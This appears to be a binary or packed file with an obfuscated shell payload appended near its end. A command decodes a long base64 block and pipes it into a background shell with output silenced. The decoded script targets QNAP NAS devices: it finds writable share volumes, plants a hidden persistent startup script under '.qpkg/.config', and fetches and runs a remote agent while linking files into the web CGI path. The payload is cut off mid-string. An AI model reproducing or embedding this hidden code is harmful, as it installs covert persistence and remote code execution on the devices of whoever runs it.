zwFA@EqDnYD@@DJvA4_B1l847qo(*kOB69WIp3olP)h9~*-Wce_(#qZtG<9T5_}j~Q z7>pX1EH4$(?rx$|sTE=phge>$a6~~F*UXM5Bqh2Hyo;g8**|ST6Y8s*yt#O4*3)8Ny29c9v@ZF_Of0~VO-1t*W%h+YxkpG=s7y=m1gw%LJZrll!~7>_LRoH?$F~%AjCdLT^anu?2kTpp_Av+p|0TlvR&6;yRNDvoipRg88jgWNEv*Wv7OU zPqJnME};aRQIq6(<}PDxL4WVaO*8)|bD+Bu%i}RbT?YfN}48h_1(HTv2~QWj`Iyqu}EWSt6j4H_I0ye-55cniF-4uZK78! z5X_^l&uKatll;UsRUW`DayhY+%CPik2t6E+D~*h5 zq}9g>{4ipFf@P?44uaNTs|O#3bm;bU-3tl>gATBH*r{|@xH0R1lE!e5t0m@-XBr_u z??Vgw%u0-GXmBM#Ak5xR48_itZ}LT`$Ebf}RF2?rQW|W;k9=h(Y>c)P(a@UNs=y2$ zDo}p(0KK%%WVnnKt@YKh8`_1KHQ6%L^ny+2i^F z|93f=c}%j;8b)TtL6E^X`Us}oO3GRq>IR*;2EM)<8f=z#I_ryzWC}4OZqOUE3|byV zrB8R4&IM%?TsS>p;#fArM_Q32)3B$kw3}aA6mbt%uK&}U9q|vZik&P#6_0JzJlZ3~ znv*i+*?h12L*S1T@XDlblj7IzG|{a~qZA=IUwwV zgIWY+w}#Jg#S+-KqFu3cJnhLqJ%i#{+!9-x!dvm-9rd&oDJAUe){DxlaC=5lm@YD^ z9BH>sd(!hHmAcgj2ph1(-$R?%X!XS;h>^FIKD>Y(%XV}vy*?VJy5N(xdaEdV*fz5a z`S&XfA0nF`pqnk~(}!>|hGq^zH$BbrsA7zC?SOk~53Nx)o<`-OXkg1L-&%LwLOBs(Y6D4 zG{P6dU6N)VFV=PkeCC9h(@O!VlM~ZEF(`g`ej?lz;gn7iPOE*kVk{~l8Q-$3WeCA= z&*##;4sg;;_2*Dd-a=UH4S#QzQL{1*lua-_oU@~@z*MVUk6f!$4OpV~U5l|O@u9q# zi_+0uJ?kAFCB5|JmgB@Z!5wGKD%U27JPxO^ucl-Z^^YTW(LR;*-dh^x2H&B^Z`2wy z8$7#d^rFOOm(h3Gyv)#1jLjYQ0Hh821-_{fkhLp>HjZw)tvO%>=Pul4loIwj-B+@) zKBYWy!^vwf!Bw>OxTJF{!pSdHQjCdBoxuogH@TtLA|jrA(G!-jzJ#PR%``hF1c%ZvQ@pV80O*aO@4~Mn1h8cND!hU!_>bRBj8I3_Nwbq(sUZnN*w3X z4it7cKxU{vX2Oq#6=X&-=0o`gK?mVTZ2d>YoKZRBKJ7&xNOrnH_Dc*qab9&tix(@L(f3 zTM(Enp`0vrNv6t?Q9WEl&v)xc)4EZE<=Ba=1*?jl+ZT=dK6j$oWli|ki9bBBt(Izh zv#@z-DZnM$9~s*WE)bTuK(W%T<=iyzThwT(2SK8+@+KiA0!TtYqaVbyP%oA63PYTG z9mu_PmNnQ{45VTRw(}T02U~)s%f~BvT0OVa02R?5+*221Z=gvORO%m?Wk?zjHk!0U zJR|848yQb&6pUNnb!zc5lw^^h@iU4>!9OjDj%`0D|GUO^yj%6a} zGB%$}zi|mM6s&R_eQ_>|l#n{Be>{9k;3z95`pt45k8;HwO6}7$p>fgVY^V)fS$eLU zJFmqG2ev}@0#6b}fHqtL5YvUrmF`2YA;8oc`uxl6WsJ-N92ZoKAdbR9X&b4ChO!iu z-ux{9KEPdDDFr3#z33t$B znHQk7gx2maHYpRMM8dhW9j%>L-Zl53M+dT=t7^HfqJ@-Z$oYmo+>8=h&c~sQ1tNq* zcNnGXZx8BAa!>L}S#Gb@IC^x-u`V@W`W$RvUaDjc)|0Xp10@1zx$)(EFeT??kT~us zaa5T%`ZEvf6u7d9r&({c!hnJO8GDj7Ok`jJTF<7=BBfdg(vn^2ex|LO$qjuJeDcT3 zOi$ixWwm^T2zM9>?-2c^r|F2mfpb8ZJ|4Ze6PjCN?AN$)rYWzR< z1^J)DeEcE*GyVThModVEn~+jWR)va?ot}lB5eSIh$=u1=(b>Qdh~C21!WoF(*~INr zn|=mB^p1AM2F?aR^d{zdrj7R%vAu#`+9^oI!Pl5l-{9FH>{&$T0>HR04@ozrk-@p{Ce?$Ltkp4Ra z!u$t+2%G;;#1QshK&ZdWzx6-+<9$~C$o=d3ZvD;Q`kTK5`ETl<4&i@?KxCisfAU+1 z`2R$-5d8%#{LB1X|MPqpJ}ZClLH|Z9G3fv4E&WmWlz-0mpM3UD%zyHa{^lS3zvT1& zga7z9|M74BKl}YN7W@Yvh*AGD^C_Qq>>nadiTIcEw/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh& +KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnIiB8fCB0ZXN0IC1oICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIKY2F0ID4gIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIgPDwiWEVPRiIKIyEvYmluL3NoClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yYW1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91aS9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmdyZXAgLUYgJyc